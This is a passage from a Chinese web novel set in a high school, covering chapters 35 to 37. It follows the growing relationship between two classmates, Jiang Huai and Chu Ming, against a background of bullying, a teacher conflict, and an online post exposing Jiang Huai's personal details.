这个时间点宽敞的食堂里稀稀拉拉都坐的是21班的。 “楚明,我能不能要个你家地址?” 楚明抬起头,看向突然坐到对面的赵恩:“嗯?” “我买的东西不能被我爸妈知道,就想着能不能寄到你家到时候你帮我带来学校。”赵恩说,“体委说你经常帮他带,能不能麻烦你一次。” 楚明轻顿:“……嗯。” “谢谢谢谢。”赵恩说:“我今晚回宿舍就加你,你记得通过。” “嗯。”楚明目送他离开,低头继续吃饭。 吃到中途无眉姐坐到他对面,用筷子敲了敲他的餐盘。 楚明抬了下眼就垂头。 无眉姐说:“楚明,最近作业你帮我提醒你同桌交,我可不想卫老师觉得我这个课代表不尽责。要是他不愿意交还是老方法你替写一份交,不难的吧?” 楚明扒拉着米粒:“……嗯。” “别他娘的跟他说,”无眉姐狠声:“他现在就一条腿能怎么着,我分分钟踹倒他。知道了吗?” 楚明小幅度地点了点头:“嗯。” 午饭后楚明回到教室,准备趴到课桌上午休。 才趴下去就感觉什么东西硌脸。 他伸手把桌上的纸团揉开: 我明天想吃米粉,你帮我打包一份,再买个麻圆。彭鲲。 有前车之鉴似的他没扔纸团,而是揣进兜里等下课再扔垃圾桶。 楚明轻轻叹气后重新趴回去睡觉- “哥们你的断腿形象已经家喻户晓人尽皆知,”赵逵逵说:“没有战力确实没什么威慑力,我看陈炜光明正大地把楚明拐到他阵营,明摆着来这一下就是纯挑衅。” 江淮夹起一坨米饭塞嘴里。 “黑哥说的有道理,”赵逵逵旁边的男生说:“我反正只听说你跟楚明同桌关系还行,这把你身边最近的人都弄跑,傻逼都知道什么意思。” 江淮嚼着米饭。 “不是有个说法叫打我兄弟就等于打我,”赵逵逵说:“陈炜这招明面上是弄楚明,实际上弄你呢。” “操,”江淮拧眉:“我和楚明有屁的表里关联!” 赵逵逵:“……” 他刨了两口饭配肉:“哥们你这话就说的没有群众眼睛雪亮。你之前不是护着他吗?” 江淮撂下筷子:“我没想护他,就事论事而已。” 赵逵逵:“是这样的吗?” 赵逵逵他哥们:“原来是这样的吗?” “不然?”想起篮球场上懦兮兮弱叽叽的楚明,江淮就觉得心里压不住的烦躁,冷声说:“我他妈最讨厌的就是楚明这种人。” 饭桌间有片刻的沉默。 “嗯,其实你没来21班之前我还没怎么注意到过他,”赵逵逵沉默一会儿说:“存在感太低了。不过我经常看他背锅,纯老好人……要不是你我这辈子都不会跟他说两句话。” 赵逵逵他哥们:“他性格确实挺烂的,说实话我也挺讨厌——不过我记得他高一开学不是这样的,但具体什么样也记不清没印象,也可能记错了。哥们你不跟他玩也挺好。” 江淮抬眼:“……” 他轻呵一声:“我们没尿一个壶里,傻逼。” 赵逵逵和他哥们:“……” 江淮单手端起餐盘便往倾倒区走去,心情烦躁地回收餐具。 说不清楚。 他是很讨厌楚明,讨厌楚明对别人没骨气不硬气。 但赵逵逵他们那么说,他又觉得烦、不想听。 烦躁地进小超市买了瓶冰可乐,江淮正想结账就听身后有道熟悉的声音。 才给他念过检讨。 “我还以为楚明赖上江淮那尊瘟神就不会给我带饭了,没想到还是这么听话。你们明天来19班,我让他带了米粉。” “还是鲲哥会吃!” “我明早要赶作业就不去19班,等会找他也给我带一份吧。” 江淮轻顿。 “饭卡没钱吗?”收银大妈说:“没钱就把水放回去然后手脚干净地出去。” 江淮面色发沉地刷卡付钱,拎着冰可乐往医务室走去。 第35章 第 35 章 “我们赌一把。”…… 江淮回到21班时, 角落里楚明正趴在桌上睡觉。 教室里空调安静运转着,墙头时钟指针走动时会发出有节奏的响声。 他坐到自己课桌上,抬起左脚踩到座椅边缘, 轻轻抚按膝盖弯时看着楚明乌黑的发顶。 操蛋玩意。 你他妈不是能打我吗? 怎么该硬气的时候又他妈不行了…… “嗯!”江淮闷哼一声。 刚气得他不小心下手太重摁得膝盖死疼。 他手心连忙撑按到身侧, 皱着眉等那股疼劲儿过去。 “你没事吧?”楚明不知道什么时候醒的,听到动静往这边看了一眼。 江淮牙齿重重咬着舌尖以忽略掉其他部位的疼痛。 他绷紧呼吸:“没事。” 楚明坐直上半身,看向他立起来的膝盖:“你确定没事?” “嗯,”江淮缓过劲儿来, 看了他一眼:“我吵到你了?” 楚明摇头:“没。” 一点哼唧声和略重的呼吸声倒还是惊动不了他。 他是一开始就没睡着。 “睡你的, ”江淮把腿缓缓挪到地上放置好,拧眉看他:“别他妈管我。” 楚明轻顿:“……哦。” 他又慢慢趴回去,在额前碎发间看着江淮。 说来也神奇, 看着江淮脸上轻轻蹙起的眉,鼻尖隐隐会有些淡淡的沉阔的气息。他眼皮慢慢沉重,没出几秒就合眼睡着了。 心头压着的少许沉重的不痛快, 也变轻变松飘着走远。 江淮沉默地缓过那股劲, 偏头看了眼楚明。 他轻顿,把兜里新买的云南白药气雾剂放到楚明桌面上- 政治课上新课,讲“文化的多样性与文化传播”。 江淮对文史类科目报以一贯的看完一遍就没有再看第二遍的欲望。 在政治老师带头读“庆祝民族节日, 是民族文化的集中展示……”时, 江淮还在独自欣赏左边这页图片里的泰姬陵。 “找个同学起来给我们勾勾重点, ”政治老师看着宽厚慈悲圆润, 笑起来像黄皮版的旺仔:“那就江淮吧, 政治四十六分说明还没被政治课本污染过脑子,我们听一听干净的想法。” 他这话引得笑声一片。 江淮:“……” 他确实没看过课本,估计46分里40分都是选择题的功劳。 他站起来,说:“重点吗?” “嗯, 重点,我们跟着你说的画。”黄皮旺仔说。 政治四十六分的江淮轻顿:“您确定让我来说吗?” 黄皮旺仔:“……那换个同学给你做个示范吧。就你同桌,四十七分,比你高一分高的应该就是经验。” 楚明:“……” 他站起来,举着课本开念:“文化遗产是一个国家和民族历史文化成就的重要标志……” “对就是这样,”黄皮旺仔打断楚明的话,温文尔雅地看着江淮:“你继续吧。” 江淮拧了下眉:“念课本?” 他读得寡淡无味毫无人气,前面扭回头看热闹的不知道趁机对着他打了多少个哈欠。 “就这样吧,”江淮放下书:“建议下次您自己念,这个环节实在没什么意义。” 黄皮旺仔:“……” 他眼睛眯了一下:“等你考及格再来质疑我的教学方式吧。” 江淮正要坐下,闻声停住了,他挑眉:“及格就能质疑吗?” 黄皮旺仔俩腮帮子上的肉抖了一下。 瞌睡着的人也顿时清醒过来。 同是跟他一起站着的人,楚明有些无奈。 他垂到课桌下的手轻轻拉了下江淮的衣摆。 江淮偏眸扫了他一眼,未言。 黄皮旺仔明显生气了,他看着后排站着的两个人一顿火气直冒,低吼道:“才考几分就在这叽叽喳喳……其余人继续上课,你俩给我站着。” 楚明意料之中地把座椅推进课桌里。 江淮则扬眉扫了几眼讲台,弯身把课桌上整理过的周考试卷文综答案翻了出来。 看。 “庆祝民族节日是集中展示,民族节日是独特标识,这一点不要搞混尤其是在选择题……”黄皮旺仔在强调重点。 江淮做好几处标记便往前翻着书在看。 上次周考还在考第一章《文化与生活》…… 下课后江淮坐了下来。 转过身子问:“你拉我做什么?” 楚明看向他:“……我怕你跟他杠起来。” 江淮轻拧眉:“杠他又怎么?你不敢不代表没人不敢。” 楚明:“……”又来刺了。 他轻顿,说:“没。” 江淮看了他一会儿,朝他靠过去:“你为什么会觉得是我在杠他不是他在杠我?” 楚明:“……” “或者不是他先杠我我正常杠回去。”江淮说。 楚明看着他欲言又止,止了半晌才言,他轻声:“你可能误会了。” “误会什么?” “黄老师没有针对你的意思,他一般会更关照成绩不太好的同学,”楚明说,“只是恰好你没考好才抽到你。” 江淮轻拧眉:“是吗?” “嗯,”楚明小声地说:“而且黄老师教龄长也面薄,有些话你可以私下跟他说。” 江淮顿了下:“你心态真挺特别的。” 楚明:“嗯?” 江淮冷声说:“我赌他只是个按成绩说话看人的老师,没别的什么情怀。” 楚明:“……” 其实江淮说的这点倒也不算多错。 尤其是八中教育改革严格以学生成绩为教师评估指标以来。 不知道是不是楚明沉默的态度还是本来心头就有股郁结,江淮压着声音说: “你是不是觉得世界上就没什么事是坏事?当众提你成绩是在勉励,让你回答傻逼问题是给你机会锻炼,脑子里全是别人的面子里子尊严日后未来。” 楚明沉默着。 江淮继续说:“让你扫地是磨砺,让你代写作业是帮你加深印象,让你捡球是锻炼身体,让你带饭是有机会尝试其他类型早餐,是吗?” 楚明看着他的目光有少许地转暗。 江淮看着他:“把自己整得低入尘埃来感化世界。你真当自己救世主吗?” 下课期间教室走廊座位里到处窜的是人,谈天八卦聊得风生水起。 教室角落倒显得过分安静。 楚明垂眼看着木质课桌桌面上届学长或是学姐留下的划痕,连着有半分钟没眨眼。 江淮伸手在他眼前搓了个响指:“怎么,给你说得没面子了?” 楚明喉间轻滚,他眨了下眼,声音有些哑:“没。” 江淮看着他的样子,总能感觉到淡淡的哀伤。 他拧了下眉,抬手揉了一把他脑袋。 楚明被他的动作弄得颤了一下,惊诧地看着他。 “怎么着,不让摸?”江淮狠狠地揉了下。 楚明:“……” 江淮收了手,手心似乎还残留着一瞬柔软,他回味了两秒,轻抬下巴说:“我们赌一把。” 楚明抬眼把他看着:“赌什么?” 江淮说:“你会赞成我的话。” 楚明:“……” 他手指慢慢收紧,很轻地点了下头。 江淮看着他微颤的眼睫,没忍住用指尖勾了下。 楚明僵硬在原地。 江淮收手:“我又不揍你,你怕什么?” 楚明轻轻摇头:“没怕。”- 自习课上自习。 一张纸条飘洋过海传到了江淮桌上。 江淮抬头就跟正微微笑的赵逵逵对上视线,“……” 他把叠得只有指甲盖大小的纸团打开,跟张小抄似的,字小得可怜。 哥们,你真讨厌cm的话,要不你和我同桌换个位置,跟我(赵逵逵)坐!我跟大马交情深肯定能说成。 江淮抿唇。 厘米? 犹豫片刻才反应过来cm是楚明的名字缩写。 江淮看着纸条内容,放下笔陷入沉思。 他是很讨厌楚明的性格。 但有时候他其实没那么讨厌楚明这个人。 相反回忆起来,还挺……反正跟楚明相处起来还行,尽管他依旧非常不喜欢楚明现在的性格。 紧接着第二张纸条颤颤巍巍地离开对桌同学的手飞到桌面。 江淮的沉思被打断,他不悦地拆开这张纸条。 哥们你思考十多分钟了还没想好吗?我以为你会像选择党的领导一样坚定不移地选择我T_T 江淮:“……” 他把毫无书写空间的纸条折叠好,想要另撕张草稿纸回话。 但草稿本上目前为止只有他和楚明的聊天。 他把政治书末尾空白书页撕下一角,回: 不了,我跟他还有场赌约。 ——江淮。 赵逵逵收到纸条的时候险些泪流满面,他孤苦伶仃地看着纸上飘逸洒脱的字,扭头含泪跟江淮比了个ok。 江淮:“……” 套卷做到一半自习课结束,楚明玩了两圈笔终于还是开了口:“你让我一下。” 江淮看着他,起身让位。 楚明抱着本书跨过他座椅往外走,走出没两步就被江淮抓住手腕,江淮追了上来:“我一起。” 楚明轻顿:“我去老师办公室。” “怎么我不能一起吗?”江淮问。 楚明默了默:“……能。” 江淮跟着楚明走进语文老师办公室。 卫疏正坐在工位上嚼着花生糖,注意到身边突然出现的两道身影,顿了一下才说:“教室空调没电费了?” 江淮:“……” 楚明:“……卫老师,我来背书。” “哦哦哦,”卫疏把花生糖嚼碎,咔嘣咔嘣的,见江淮也在,补充说道:“是这样江淮,我每周要求背三首,没背完周末留下背完再走。组长课代表和背书困难户到我这背,不过楚明是主动到我这背的。” 江淮应了声:“嗯。” “楚明你背着,我听呢,”卫疏说着用电脑打开学校成绩平台。 楚明轻点头,熟练地拉开角落里的椅子坐下,背:“壬戌之秋,七月既望……” 卫疏点开江淮的语文答题卡,仔细看着,回头说:“江淮你先帮我听着。” 江淮点了下头:“嗯。” 他扭头和楚明对视着。 楚明正流畅着的背词瞬间就卡壳了,他快速别开视线对着白墙。 “你又怕我。”江淮拧了下眉。 楚明:“……没。” 他只好扭回头,仰头回视着江淮的眼睛,好一会儿脑子才不那么空白,他并不利索地背道:“渺渺兮予怀,望美人兮天一方……” 背完楚明松了口气。 江淮点着头对他竖了个大拇指:“不错。” 楚明:“……” 身后卫疏:“现在知道给情绪价值作文结尾怎么不知道上价值,江淮?” 江淮轻顿:“什么?” “你这作文46分偏低啊,”卫疏说:“我给你看一眼楚明的,54分年级最高。” 江淮挑了下眉:“我看看。” 卫疏点开楚明的答题卡,鼠标点滑到作文页面,说:“这是典型的任务驱动型作文……” 江淮没怎么听她的话,目光落在作文内容上。 卫疏说半天没等到半句嗯嗯啊哦,“我在说你听没听?” “听了,”江淮从善如流:“有道理。” 卫疏:“……” 楚明坐在边上心无旁骛地算着数学题,时不时抬眼看一下江淮,而后又垂头继续做题。 心情很美妙地转了圈笔。 “卷面整洁清晰这点值得表扬,但你这么精简,是笔快没墨了吗?”卫疏说。 江淮:“没什么好写的。” “硬编也要写啊,你字好看能博同情分的啊!”卫疏说。 江淮:“我不需要。” “有分不要你干嘛?你这样的心态以后大马路上都捡不到钱。”卫疏瞪着他。 江淮:“……” 旁边楚明极轻地笑了一声。 卫疏把答题卡翻看完,突然大声:“我竟然没发现你默写都扣了3分,一共6分你扣3分——送你的分你都拿不到?” 江淮轻顿:“我没背完。” “把你漏了,”卫疏说:“你以后也找我背,默写分绝不允许丢分,这是我卫疏的底线。” 江淮:“……” 他或许不该跟楚明来这一趟办公室。 背着飞来横祸、拿着两颗花生糖走出语文办公室,江淮揽过楚明的肩,说:“你们卫老师挺有意思的。” 楚明收紧怀抱里的教辅,点头:“嗯。” 江淮瞥了眼他怀里的题:“你经常来找她?” 楚明再次点头:“嗯。” 江淮顿了下:“下次我一起。” 第36章 第 36 章 “趴着。” 晚饭时间江淮让赵逵逵帮带两个面包。 “两个?”赵逵逵比了个数字:“还有一个是我的吗?” “不是。”江淮把饭卡飞给他:“要吃自己刷。” 赵逵逵登时笑起来:“哥们大气!” 教室里逐渐走空, 只留下少许奋斗的身影。 江淮把周考试卷错题全部整理重做一遍之后,有些心累。 字太多了,写得他毛躁。 校园广播到点之后会开始随机播放音乐。 江淮趴到桌面枕着外套睡觉。 隐约感觉到什么, 他从手臂间微微抬起眼, 看向他同桌。 楚明反手撩抬起自己后背的衣服,捏着喷雾剂的手曲折地伸进里面,边探索受伤区域边调整喷头正反面。 江淮淡淡瞥了眼他衣摆下露出的那截腰,声音有些闷地问道:“要帮忙吗?” 楚明停住动作, 迅疾地回应:“不用。” “嗯, ”江淮看着他的动作,并不生涩,甚至还有些熟练, “为什么不躲?” 楚明把喷雾剂搁在桌上,闻声轻顿:“什么?” “别人用篮球砸你,为什么不躲?”江淮问。 楚明指尖勾了勾手心:“……没注意到。” 江淮拧了下眉, 他跟楚明打过球, 领教过楚明的反应力和灵敏度。 他没放水,楚明这明显是在扯谎。 他不悦地收回目光,小声呢喃:“这样啊。” “嗯。”楚明抻了抻粘巴着脊背的衣服, 把喷雾剂挪到江淮桌上:“谢谢。”- “我天今天超市格外火爆, 我拼死拼活也只抢出来一个面包, ”赵逵逵把饭卡和面包放到江淮课桌上, “我勉为其难买了包辣条。” 江淮点了下头:“嗯, 你走吧。” 赵逵逵:“……” 他伤心地抱着豪华版辣条离开,一步三回头。 然后看见江淮把面包递给里桌的楚明。 赵逵逵脑门顶上缓缓升起三个标准的问号。 面包很难吃吗? 还是说被江淮讨厌能有免费面包吃…… 晚自习三节自习,讲台上流水的老师铁打的班长。 刘明宇抓着眼镜腿精准地挪了挪,说:“自习课安静, 自己做自己的,有问题下课问。” 江淮完成黑板上课代表板书好的部分作业,摸出数学教辅继续做。 做完必修1初等函数三小节的大部分练习题,他草草地扫荡着错题和易错知识点。 扫荡完他转了圈笔,结束今天的数学学习时间。 课间楚明出去过,江淮不经意间扫到和他对站着的熟悉身影,拧了下眉。 等楚明揣好纸条往教室里走,他自然地收回目光。 起身,让位,坐下。 江淮双手抱胸,在热闹哄哄的闲吵声里看着楚明,问:“我之前问你的问题有答案没?” 楚明不明所以地看向他:“什么?” 江淮上半身压过去,打着结的两根手臂舒展开,闲散地放到桌面,指尖一下下点着。 他低声:“什么时候学《老人与海》?” 楚明:“……” 他嘴唇微张,却又说不出话来。 他知道江淮在问什么,也很想回答,可是…… 江淮见他沉默,并不意外,反倒有些暗暗的满意。 他嘴唇轻轻勾了一下:“晚上回去告诉我答案。” 思考被硬生生截断,楚明猛回头:“啊?” “今晚我去你家,”江淮说:“收拾东西。” 楚明微顿:“……哦。” 放学后江淮习以为常地坐上自行车,在楚明悠悠的行步速度里享受着温热里微凉的晚风。 到“城屿·城”,江淮推车走到熟悉的店面里坐下。 “有几天没见到你了,”老板走过来:“是考试压力大吗?” 江淮摊开试卷册,说:“不是。还是要杯水。” “好,”老板把水壶拎过来,“泡的柠檬水。” 店内风扇呼呼地转着,送出阵阵热风。 “老板,”估摸着楚明要出小区了,江淮合笔。 “还是要海鲜馄饨吗?”老板亮着眼睛过来。 “……嗯,”江淮收拾好试卷,想想觉得还是有十分之一的必要说一说:“之后我应该不会再来了。” “为什么?不好吃吃腻了?”老板停下脚步:“还是有新欢了?” 江淮说:“我搬家了。” “这样啊,”老板在里屋开始备配食材,踮起脚尖问道:“和你一起的那个也要跟着搬走吗?” 江淮轻顿:“不。” “哦,”老板说:“我看你俩关系亲,以为哥弟俩呢。” 江淮:“……长得像吗?” “不像,”老板竖起拇指:“但都长得好。” 江淮捞了双筷子在指间转着玩:“他确实长得挺好。” 馄饨新鲜出炉,楚明正巧过马路到店里。 坐下时感觉江淮的视线落在自己脸上,他轻顿:“怎么了?” “看你长得好呢,”老板把勺子发给他俩。 “嗯……”楚明浅浅地笑了一下,“谢谢。” 把整碗和和气气地瓜分完,楚明给自行车转向,正要反背书包书包就被江淮拎走。 “我拿着。”江淮淡淡地说。 “嗯。”楚明收回手,坐上车后扶住车把手。 “卫老师说争取这周上完《祝福》,”楚明少见地先开了口,迎着风说:“原则上下周就要上《老人与海》。” 江淮虚虚扶着他腰:“跟你的关系是?” 楚明说:“我尽量跟上。” 江淮淡淡地说:“但愿如此。” 跟江淮走的那天没什么区别,客厅卧室陈设原封不动。 江淮去阳台收衣服。 “你手机,”从卧室出来,楚明把黑屏的手机递给他,“之前充过电,应该能用。” 江淮接过:“谢谢。” “不客气。”楚明坐到沙发上。 “今晚我再留一晚,”江淮把这套衣服挂到手臂,“你有意见吗?” 楚明:“……没有。” “嗯,”江淮抱着衣服走进浴室,随手把手机撂到沙发上。 手机在开机状态,亮屏之后缓冲两秒便是一阵接一阵暴风雨点般的震动。 楚明感觉沙发误入局部地震带,不由地目光往手机屏幕上扫了眼。 纯黑色屏保,日期时间白色显示。 而屏幕中部则盘踞着生生不息更替不休的条状信息板。 速度间,他不慎瞄到一条消息。 【阿越】兄弟你还不上线是已经在天堂安家…… 没看到剩余的内容,楚明却轻轻皱了下眉。 浴室里水声哗啦啦的。 楚明起身走到阳台处,扒着栏杆欣赏月中时候几近圆满的月亮。 心里却有些涩痛。 他闭上双眼感受着月光流在脸颊微微发凉,清风徐徐,鼻尖蓦地萦上一抹淡香。 楚明转过身去,面前江淮提着件衣服正不解地看他:“你干嘛?” “吹风,”楚明往旁边撤开半步,留出江淮进来的空间,很轻地说了句:“今晚你睡床吧。” “哦,”江淮觉得他这句挺多余:“你呢?” “我睡沙发。”楚明说完准备去卧室拿干净衣服。 江淮挑了下眉,反手抓住他后衣领把他压在栏杆处,“你又怕我了?” 楚明:“……” 他能感觉到江淮的力道挺轻,手还轻护了下他腰,“没。” “那就睡床,”江淮说:“你家沙发都不是人能睡的。” 楚明:“……” 江淮顺手撩起他衣服,看清背部淤青时拧了下眉。 “你这是旧伤还是新伤?”他问。 楚明抬手扶住栏杆,想扭头看一眼却见江淮把衣服撩得更高。 肩胛骨处有道长疤,疤口很深,若是细究很像那种玻璃片硬插进皮肤里留下的疤痕。 “你……”江淮眉心一直拧着。 犹豫两秒他把楚明拉到客厅,弯腰从底抽捞出药箱,“趴着。” 楚明轻顿,还是依他的话趴到沙发上。 江淮拿出一支常用软膏,单腿跪坐到他腰边,抬手一把掀起他衣服,在那大块淤青处涂抹。 直觉这不像是篮球一次就能砸出来的程度,他问;“谁打你了?” “没,”楚明半边脸压在沙发里,说:“不小心磕到的。” 江淮轻涂慢抹的动作顿住,他拧眉:“确定吗?” 楚明:“……” 江淮冷声说:“不说话是什么意思?” 楚明轻叹一声,说:“我昨天帮忙捡球不小心摔了。” “陈炜吗?”江淮继续涂抹药膏。 楚明没有说话。 江淮轻顿:“我知道了。”他把药膏盖子拧好,目光扫过肩胛骨那道旧疤时问:“上面这道呢?” 楚明依旧沉默着。 江淮也没再多言,起身站到旁边将药箱搬回去,隔着茶几说道:“披层保鲜膜去洗澡吧。” 楚明:“……” 他把衣服撩下来,坐直,无奈应道:“嗯。” 当然楚明没去冰箱里掏出一卷保鲜膜往身上缠,而是趁江淮没注意把药膏攥到手里进了浴室。 冷水兜头而下,楚明看了眼指间夹紧的药膏。 闭眼,仰头,任细小的水流迎面打来。 半晌失神后他开始洗澡- 江淮拿着手机走进卧室。 目光扫过桌面整洁的试卷教材教辅,他轻顿,以为自己看错了。 走近把试卷空白处漂亮的楷体字字字认过,他勾唇冷笑一声。 操,背着骂我…… 他把题干重新读过一遍,拈起黑笔转了两圈。 傻逼地用赋值方法。 半分钟后很不争气地算出半打答案,不论过程确实能对一半。 江淮:“……” 他转身面无表情地坐到床上,仿佛无事发生地把手机打开。 密码解锁后,显眼的应用几乎都是红色99+。 江淮坐到床边,把左腿扔出去做练习时,闲散地戳开常用应用。 【阿越】兄弟你还不上线是已经在天堂安家了吗? 江淮轻顿,把消息扒拉上去。 【阿越】兄弟你被“网暴”了。 【阿越】兄弟你被开盒了。 江淮脑门顶上隐隐升起来:? 他稀奇地点开链接,进到页面里看了看。 标题: 21班某江姓男子传奇的前十六年人生,欢迎补充。 江淮,性别男,现读于八中文科21班,靠窗最后一排左座。出生于十六年前,生日8月9日,狮子座,家庭住址暂时还未成功跟进,电话号码尚在获取。 事迹如下:…… 江淮视线落在“家庭住址暂时还未成功跟进”几个字上,眯了下眼。 一目十行地浏览过剩下内容,滑到评论区显示的99+时他挑了下眉。 难怪之前有陌生人知道他名字。 也难怪那三个傻逼要半夜跟他。 …… 江淮稀奇地继续翻看评论区,没注意到楚明轻手轻脚进到卧室,坐到书桌前写作业时往他这边粗略地扫了一眼。 【1L:建议回家别读书了(不懂就问:中考没考的人有资格上高中吗?)】 【53L:前青训营球员落魄到身体犯规撞倒对手,牛逼!】 【54L:被撞的是21班体委,为他发声!】 【167L:我是21班的,我来发声:他不是什么好人。】 江淮手指滑得有些累,再看了几条评论之后他挑了挑眉。 在评论区戳了句。 【546L:实时更新,江淮的座位在靠窗最后一排右座,傻逼们。】—— 作者有话说:淮:问题不大,放心。 第37章 第 37 章 跟刺猬似的扎人。…… 江淮给【阿越】回了几条消息后便没什么兴致地关掉手机。 拖着僵放已久的左腿, 他挪到床边搓了个响指。 楚明比平时反应快得多,几乎是在响指声音出来的同时就扭头看过来。 江淮说:“教我一道题。” 楚明完全没料到他会是这个反应,愣了下:“啊?” 江淮指着桌面上那套试卷, 朝他抬了抬下巴:“压轴导数题, 上来教我。” 楚明:“……” 他本来是要习惯性地说不会,余光瞥见试卷上显眼的红笔字迹,他抿了下唇。 忘了这一茬。 他捏着笔的手指收紧:“嗯。” 江淮往床里边靠了些许。 楚明拿着试卷和草稿纸坐到床沿,问道:“你是不是还没学过导数?” 江淮想了想:“了解一些基本的。” 楚明:“……” 他轻顿, 问:“导数是什么?” “函数的瞬时变化率。”江淮拧了下眉:“你别问我, 讲就行。” 楚明看了他一眼,低眸开始讲题:“第一小问求函数的单调区间,在此之前确定函数定义域, 然后求导……” 以尽量基础的思路把带未知数的单调区间讲完整道题,楚明感觉肩头发沉。 抬眸就见江淮靠在他肩头,不知道什么时候睡着了。 楚明:“……” 他抬手想拍醒江淮, 但手举到他面前时却顿住了。 温热的呼吸扑在指尖, 像是有细密的水雾裹缠着手指。 楚明垂眼看着他卷翘浓密的眼睫和出挑的鼻梁骨,舌尖极轻地带过齿尖。 静静地坐了有两三分钟,楚明动作很轻地往旁边让出手臂。 支撑点移开, 江淮的脑袋便顺着他胸膛、腰腹一路滑到他大腿上。 楚明低头, 手心扣住他后脑勺, 另只手轻护着他腰, 把江淮慢慢抻直、以一个正常的睡姿平放到床上。 把卧室灯熄灭, 楚明在黑暗里注视着他的脸。 看不真切,但心里某个念头却在无声里疯狂滋长。 片刻后抱着教辅和台灯,他到客厅茶几前去写题- 江淮醒来时旁边空无一人。 他坐起来看了眼时间,往卫生间走去的时候无意间扫过正坐沙发上看手机的楚明, 不禁挑眉,声音还带着没睡醒的微哑:“你起这么早?” 楚明摁灭屏幕,“闹钟调错了。” 江淮心说闹钟对你居然有影响…… 他转身推门进去开始洗漱。 楚明低眸退出评论界面,起身给自己接了杯温水润喉。 还没润两口手机便震动着自动关机了。 他去到卧室,坐在床边摸充电线的几秒里差点没收住靠着床头睡过去。 伸手从书桌上抹了点风油精在眼尾才从一夜未眠的困倦里挣脱出灵魂。 “操,”江淮坐在自行车后座,问:“我昨晚是不是没等你讲完就睡着了?” 楚明轻顿:“是。” 江淮睡得还挺舒服,神清气爽地在车上伸了个懒腰。 动作幅度太大,险些连人带车都翻下去。 “……”楚明硬挺地扶着单边车把手,另只手绕到背后扶了他一把:“你坐好。” 江淮看了眼他的手:“自行车而已,就算摔一跤又能怎么?” 楚明收回手,声音沉哑:“你膝盖能伤得起?” 江淮:“……” 他抱着楚明的书包,看着楚明的背影。 明明装束和昨天没什么两样,但他觉得楚明好像有些不一样了。 只是具体哪里不一样他说不太清。 自行车停在距离学校最近的一家粉馆。 “你吃吗?”楚明踩脚架时问了句:“或者我给你买馒头。” 江淮扫了眼粉馆名字:“吃。” “大碗牛肉粉,”楚明走到离风扇最近离人流最远的角落桌,“清汤。” 江淮坐到他旁边:“一样。” 粉馆处理好粉汤之后一般交由顾客自己加葱段香菜末海带丝辣椒等,楚明起身时问了句:“有忌口吗?” 江淮也跟着他站起来,低声:“上赶着服务我干嘛?我是没长手没长脚吗?” 楚明:“……那你自己来。” 早上吃粉很爽。 比啃馒头喝豆浆的口味层次要丰富得多。 楚明吃饭依旧慢条斯理,吃到中途他看了眼手环,起身跟记账阿姨说了句什么,又坐回来继续慢条斯理。 江淮撂下筷子,看他:“给人带饭?” 楚明莫名有些心虚:“……嗯。” “为什么?”江淮看着他用筷子滑啦着汤:“交情很深?” 楚明埋头喝汤,没有回话。 江淮拧了下眉:“我有时候真挺烦你的。” 楚明:“……” 他把碗放平,勾出张纸擦嘴,起身跨过长凳出去时俯身在他耳边说:“我对你也是。” 江淮轻顿,想说句什么身子猛地一偏。 长凳尽量坐中间,两人分坐两边时一人起身另一方要注意移转重心。 但江淮没注意到这点——长凳因楚明突然的起身而翘起一端。 眼见他就要偏着摔倒在地,旁边楚明眼疾手快地架住他胳肢窝往里一提。 “哎哟小心点,”阿姨忙走过来:“刚忘提醒你们小心翘角,实在对不起啊。” “没事,”楚明扫了眼江淮左膝,看着阿姨说:“他挺耐摔。” 江淮:“……” 他知道楚明今天是哪点不一样了。 跟刺猬似的扎人。 “哈哈哈……”阿姨笑了笑:“那话也不是这么说,再耐摔也经不起经常摔。” 楚明把江淮扶稳便先一步松手,转身到取餐点把袋装打包的米粉拎过。 他转身抽了两套一次性筷子塞到大塑料袋里。 付钱走出粉馆,楚明坐到车座上转手把塑料袋递给江淮:“拎着。” 江淮挑了下眉:“这么硬气?” 楚明看着他:“不然下车。” “操,”江淮伸手接过,不禁又挑了下眉:“你怎么了?” 楚明扶着车把自如地骑着自行车,闻声说:“你不是想要我学《老人与海》吗?” 江淮轻眯眼:“你他妈还真行。” 楚明没再回话,骑着自行车往学校去。 自行车停进指定区域,江淮单脚支在地面没有打算下车的意思。 楚明看了他一眼,屈膝蹲到他面前,把U形锁锁在后车轮,锁好后他抬眼:“走不了吗?” 江淮:“……” 他上半身往下倾压了些,抬手扣住楚明的下颌,指腹顶住下巴窝往上抬:“你他妈被鬼上身了?” 楚明垂眸淡淡扫了眼他手腕。 伸手扣住他腕骨往下带去,重重摁到车座上后他直起身子,附耳说:“没有。” 目光带过他左膝时,楚明熟练地刺激道:“要我抱吗?” 江淮:“……” 他看着楚明近在眼前的脸,一时没反应过来。 这还是楚明吗? 怔愣期间学校早自习铃声打响,楚明抽出江淮手里的打包塑料袋,正要转身走就被江淮拽住手腕。 江淮起身,垂眸看了眼他手里的袋子:“别告诉我你现在要去送饭。” “不告诉你,”楚明反手挣开他的桎梏。 但他还是要去。 说着他快步往教学楼方向走。 江淮轻拧眉,反应过来立刻跟了上去。 19班后门口人丁稀疏。 作为高二年级吊车尾的理科班,早读声势的确很符合班级气质。 楚明站在门槛处,招呼着角落里的人:“同学,帮忙叫一下彭鲲。” “哦,好。”男生哈欠着看了他一眼,招呼:“鲲哥,有人找。” 楚明往走廊退出半步,垂着脑袋耐心地等。 “怎么今天这么晚?”彭鲲深深皱着眉,不悦地一把拽过:“现在早读我要怎么吃?而且你该用打包盒啊,袋子我根本没地方放,吃个屁啊吃!” 楚明垂眼:“不好意思,下次注意。” “我真的服气,”彭鲲瞪着他,还想说些什么,却不经意间撞到楚明身后墙边斜倚着冷笑的江淮,瞬间无言:“你下次注意。” 说完立刻窜回了教室。 楚明两指指尖轻捻,转身就撞上贴合而来的江淮。 江淮冷声:“给我。” 楚明顿了下:“什么?” 江淮没解释,弯腰从他手里把剩余半袋粉提过,说:“哪个班?” 楚明明白过来他问的是什么,回道:“25。” “嗯,”江淮没多言,转身就往楼上走,一副要去砸人场子的架势。 楚明没有犹豫地跟了上去。 江淮找到25班班号后,走到前门屈指扣在门板上,清脆的三声。 呜呜呼呼背书读书的人读着读着就没有声音了,连同守自习的班主任也看了过来。 江淮没记名字,但打过照面记得模样。 抬起下巴点了下靠窗第一排的男生,说:“不是要吃?自己来拿。” 男生:“……” “怎么,敢要不敢拿?”江淮看他不动,问。 男生接连咽下两口唾沫,在周围一众同学的注视下还是选择了沉默。 班主任看看男生又看看江淮,一头雾水地朝江淮走了过来:“发生什么事情了?” 